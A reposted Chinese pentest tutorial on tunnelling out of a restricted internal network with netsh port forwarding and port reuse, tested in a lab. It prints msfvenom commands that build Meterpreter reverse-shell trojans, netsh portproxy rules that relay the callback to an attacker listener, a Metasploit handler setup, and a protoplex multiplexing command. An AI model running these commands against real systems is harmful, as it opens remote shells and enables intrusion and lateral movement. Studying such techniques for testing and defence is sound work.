內網--端口轉發以及端口復用
內網--端口轉發以及端口復用
前言
前段時間在一次內網中遇到了一個問題,當時想了很多辦法,雖然最終沒能解決但是也學了很多東西。

現在想想也是很愁。
情景再現
大致情況就是現在處于192的網段然后有一個172網段機器的mssql賬號(可以執行命令和上傳文件),并且172網段上的這臺服務器只對192這臺機器開放了1433端口,需要到172的網段。

一張圖簡單明了。
端口復用
雖然最終沒能解決問題,但是也是學到了不少方法來應對相似的情況。
1、netsh
netsh(Network Shell) 是一個windows系統本身提供的功能強大的網絡配置命令行工具,可以查看或更改本地計算機或遠程計算機的網絡配置。
場景1
假如,就是說假如咱們這里放開一下限制規則 172的網段依然不出網,且只對192網段開放1433端口,但是172可以訪問192的網段。那這樣咱們可以通過172機器反向連接192機器然后在192機器做端口轉發到攻擊機器上的監聽端口,這里在本地復現改了一下ip 如下圖:

以及修改目標機器的防火潛規則確保其他的端口無法被訪問。

使用msf生成反彈馬,然后將木馬上傳到目標機器。
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=6767 -i 3 -f exe -o o.exe
然后我們在10.211.5.10這臺機器通過netsh設置端口轉發將6767轉發到攻擊機的監聽端口。
netsh interface portproxy add v4tov4 listenport=6767 connectport=6767 connectaddress=192.168.49.129

在攻擊機上設置監聽,然后在目標機器上執行木馬。
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.49.129 set lport 6767
攻擊機器成功收到會話。

場景2
在場景1中我們的目標機器可以隨意訪問我們跳板機5.10的任意端口,假如我們這邊開始增加限制目標機器不能隨意訪問跳板機器的端口,只能訪問指定端口比如:80、445、1433、1521、3306、3389、6379、8080,這其中的一個或者多個端口,如下圖。

和上面一樣通過ms生成反向連接馬以及上傳到目標服務器,設置連接端口為80.
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=80 -i 3 -f exe -o o.exe
這里為了嚴謹依然通過防火墻設置端口限制,80可以訪問到,其他端口均不能訪問。

然后通過netsh設置端口轉發。
netsh interface portproxy add v4tov4 listenport=80 connectport=6767 connectaddress=192.168.49.129

然后在目標機器上執行木馬,我們通過端口連接可以看到目標機器與跳板機的80端口進行了連接且跳板機也收到連接,但是跳板機的80端口并沒有轉發到攻擊機的監聽端口,如下圖。

我們攻擊機也同樣沒有收到回話。
繼續測試3306端口(只對目標機器開放3306,其他端口均禁止),步驟同上我們這邊直接跳過重復步驟,直接到執行木馬,然后我們可以發現msf成功的接受到了會話,如下圖。

端口正常轉發。

經過測試發現3306和8080可以正常的進行轉發80、445、1433、3389、6379等不可轉發猜測下是windows自帶的一些服務可能都不支持這種情況。
場景3
我們繼續增加限制條件在場景2中我們的目標機器可以訪問我們跳板機5.10的個別端口,假如我們這邊開始增加限制目標機器不能訪問跳板機器的端口,但是我們也不是只能訪問目標機器的1433,我們這次增加一個別的端口80或者3306等,如下圖。

我們先討論80端口的情況,這個就比較簡單直接看是什么web服務然后上傳對應的shell連接就可以了(Neo-reGeorg)。
然后是3306,我們依然可以通過netsh進行端口轉發列出一個最簡單的方式就是將目標機器上的3306端口轉發到3389端口上。
netsh interface portproxy add v4tov4 listenport=3306 listenaddress=10.211.55.5 connectport=3389 connectaddress=10.211.55.5

然后我們可以讀密碼或者加用戶,再通過跳板機去連接遠程桌面這里直接連接3306端口。

經過測試這種情況下有很多端口是不可以這樣轉發的就比如iis開放的80端口,已經mssql的1433端口,但是像3306、8080這種端口是可以被轉發的,所以實際不同情況需要多嘗試(這里實驗時差點把自己繞進去)。
2、工具
protoplex
這是一個協議復用的工具,比如命令可將本地9999端口的流量根據協議類型轉到本地的2333和80端口,這里我做了一下實驗,發現該工具的監聽端口不能被占用也不能是3306、1433、3389這種的特殊端口。
他可以監聽10.211.55.5:4444,如果是socks5協議的流量就將流量轉發給10.211.55.5:9999,如果是http流量,就將流量轉發給10.211.55.5:80
protoplex_windows_amd64.exe --socks5 10.211.55.5:9999 --http 10.211.55.5:80 -b 10.211.55.5:4444

其他機器訪問

socks5測試不理想,最終也是沒能解決這個問題。

期待找到解決辦法。
文章轉自公眾號: Tide安全團隊